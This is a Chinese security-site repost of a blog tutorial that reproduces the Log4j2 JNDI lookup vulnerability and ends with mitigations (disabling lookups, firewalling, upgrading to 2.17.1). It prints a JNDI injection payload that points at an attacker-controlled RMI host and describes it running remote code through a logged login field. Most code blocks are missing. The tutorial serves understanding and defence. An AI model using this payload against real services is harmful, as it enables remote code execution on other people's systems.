标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3039]   作者: 小螺号 发表于: [2022-03-18]  [2022-03-25]被用户:浩丶轩 修改过

本文共 [231] 位读者顶过

漏洞问题重现

依赖

首先,先码一下依赖,我这里是gradle工程,大都督的是maven工程,不过都一样。[出自:jiwo.org]

常规的日志写法

一般来说我们是这么写日志的。因为这个demo我仅仅只依赖了log4j2,所以代码就直接调用log4j2的api记录日志了。

上面这个应该是我们非常常用的一种日志记录手法了。输出的结果应该是hello world

lookups

不过log4j2并不满足上面的功能,他们提供了一种叫lookups的功能log4j2的lookups说明。
这功能强大啊,我们用demo看一下:

我们看下输出的结果:

从结果上可以看到,输出的并不是hello ${java:os}和hello ${java:vm},而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。


Jndi Lookup

但是,log4j2还支持了Jndi Lookup这就很要命了。为了观察这个问题,我们先启动个JNDI的服务看看


然后,我们再写日志

可以看到这次我日志中的内容变成了${jndi:rmi://192.168.31.13:1099/demo},这里需要注意的是192.168.31.13是我的本机ip,也就是攻击者的ip。效果如下:

通过log4j2调用JNDI服务,我成功的打开了一个远程桌面。而且我写在JndiObj对象上的日志信息是输出在我的日志服务上的。也就是说,通过JNDI我(攻击者)成功的上传了自己的代码到用户服务中,这就很可怕了。
前面之所以打开的是远程桌面是因为在这里我是这么写的,但是,如果我写点别的呢?

很多时候我们记录在日志中的动态参数都是对象,这些对象可能是从前端或者别的服务请求过来的。比如一个登录接口,如果User对象中的userName的值就是我们上面写的${jndi:rmi://192.168.31.13:1099/demo},那后果真的是不堪设想…所以说是核弹级漏洞,也不算过分。

附一个高逼格的JNDI代码注入写法:
主要就是用到了

代码如下:

漏洞补救

log4j2.formatMsgNoLookups=true按照官方api解释说明,当这个值为true时,就不执行lookup了。

2.防火墙,禁止应用服务访问奇怪的ip

漏洞解决

升级到2.17.1


————————————————
版权声明:本文为CSDN博主「skyline_wx」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/WX10301075WX/article/details/121878527

评论

暂无
发表评论
 返回顶部 
热度(231)
 关注微信